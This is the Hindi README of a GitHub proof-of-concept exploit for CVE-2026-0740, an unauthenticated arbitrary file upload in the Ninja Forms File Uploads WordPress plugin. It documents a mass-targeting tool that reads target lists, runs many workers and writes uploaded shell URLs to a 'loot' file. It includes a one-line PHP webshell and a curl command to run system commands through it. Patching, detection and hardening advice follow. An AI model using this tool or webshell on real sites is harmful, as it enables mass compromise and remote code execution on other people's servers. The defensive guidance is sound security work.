
CVE-2026-0740 के लिए PoC: Ninja Forms File Uploads <= 3.3.26 — अनधिकृत मनमाना फ़ाइल अपलोड जो RCE की ओर ले जा सकता है।
लेखक: 0xNuts
योगदानकर्ता: Cursor
रिपॉजिटरी: https://github.com/ExDev994/CVE-2026-0740-mass
CVE-2026-0740 के लिए PoC: Ninja Forms File Uploads <= 3.3.26 — अप्रमाणित मनमाना फ़ाइल अपलोड जो RCE की ओर ले जा सकता है।
प्रारंभिक कमजोरी Sélim Lanouar (@whattheslime) द्वारा खोजी गई थी। मास-टार्गेट इंजन PoC 0xNuts द्वारा Cursor के योगदान से विकसित किया गया था।
यह रिपॉजिटरी केवल सुरक्षा अनुसंधान और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है (अधिकृत पेंटेस्ट, लिखित अनुमति वाली रेड टीम, पैच सत्यापन, और हार्डनिंग)।
वर्डप्रेस के लिए Ninja Forms - File Uploads प्लगइन 3.3.26 (सहित) तक के सभी संस्करणों में अप्रमाणित मनमाना फ़ाइल अपलोड के प्रति संवेदनशील है।
शोषण श्रृंखला:
nf_fu_get_new_nonce के माध्यम से किसी भी field_id के साथ अपलोड नॉन्स प्राप्त करता है।nf_fu_upload अपलोड फ़ाइल एक्सटेंशन को मान्य करता है (जैसे image.jpg), लेकिन हमलावर POST पैरामीटर (image_jpg) के माध्यम से लक्ष्य फ़ाइल नाम को ओवरराइड कर सकता है।move_uploaded_file() को भेजा जाता है → मनमाना एक्सटेंशन + पाथ ट्रैवर्सल (../)।पूर्ण पैच संस्करण 3.3.27+ में उपलब्ध है।
इस रिपॉजिटरी में केवल CVE-2026-0740.py और README.md है। निर्भरताओं को मैन्युअल रूप से स्थापित करें:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
नोट: -t या -f में से केवल एक का उपयोग अनिवार्य है।
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
स्पष्ट पाथ ट्रैवर्सल के साथ:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
target.txt फ़ाइल बनाएँ:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
चलाएँ:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
वर्कर ट्यूनिंग और लूट आउटपुट के साथ:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
सफलतापूर्वक अपलोड किए गए शेल URL लूट फ़ाइल में लिखे जाएँगे (append मोड)।
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
अपलोड सफल होने के बाद, स्क्रिप्ट शेल URL प्रदर्शित करती है। सत्यापन (केवल लैब/अधिकृत लक्ष्य पर):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Ninja Forms - File Uploads को तुरंत 3.3.27 या नए संस्करण में अपडेट करें।
Ninja Forms - File Uploads का संस्करण जाँचेंअपडेट के बाद:
nf_fu_get_new_nonce / nf_fu_upload के साथ endpoint wp-admin/admin-ajax.php का परीक्षण करें — मनमाना अपलोड अस्वीकार किया जाना चाहिएवर्डप्रेस अपलोड निर्देशिकाओं की जाँच करें:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
ऐसी बाहरी फ़ाइलें खोजें: .php, .pht, .phtml, .phar, .html, .svg, .js जो वहाँ नहीं होनी चाहिए।
इसके अलावा निम्नलिखित के लिए वेब सर्वर लॉग की जाँच करें:
/wp-admin/admin-ajax.php
पैरामीटर action=nf_fu_get_new_nonce या action=nf_fu_upload के साथ।
मास-अपलोड दुरुपयोग को रोकने के लिए /wp-admin/admin-ajax.php पर WAF / रेट लिमिटिंग लगाएँ
वेब सर्वर कॉन्फ़िगरेशन के माध्यम से wp-content/uploads/ निर्देशिका में PHP निष्पादन अक्षम करें:
Apache (uploads/ में .htaccess):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
न्यूनतम विशेषाधिकार: सुनिश्चित करें कि अपलोड फ़ाइल अनुमतियाँ आवश्यक निर्देशिका के बाहर वेब सर्वर द्वारा लिखने योग्य न हों
मॉनिटरिंग: अज्ञात IP या उच्च मात्रा से nf_fu_* एक्शन के साथ admin-ajax.php पर POST के लिए अलर्ट सेट करें
बैकअप और घटना प्रतिक्रिया: यदि IoC पाया जाए, तो साइट को आइसोलेट करें, DB/एडमिन क्रेडेंशियल रोटेट करें, अन्य प्लगइन/थीम का ऑडिट करें
यदि अपलोड सुविधा आवश्यक नहीं है, तो Ninja Forms - File Uploads प्लगइन को निष्क्रिय करें और हटा दें।
| वेक्टर / एक्सटेंशन | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
पाथ ट्रैवर्सल (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| Flag | कार्य |
|---|
-t, --target | एकल लक्ष्य (एकल URL) |
-f, --targets-file | लक्ष्यों की सूची वाली .txt फ़ाइल (प्रति पंक्ति एक URL) |
--shell | अपलोड की जाने वाली payload/webshell फ़ाइल (अनिवार्य) |
-d, --dest | लक्ष्य पाथ ट्रैवर्सल (डिफ़ॉल्ट: ../../../) |
-w, --workers | समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट: 20) |
-o, --output | सफल शेल URL के लिए लूट फ़ाइल (डिफ़ॉल्ट: results.txt) |
-x, --proxy | HTTP प्रॉक्सी (जैसे http://127.0.0.1:8080) |
-H, --headers | कस्टम हेडर (प्रारूप: 'Header: Value') |
--timeout | HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 10) |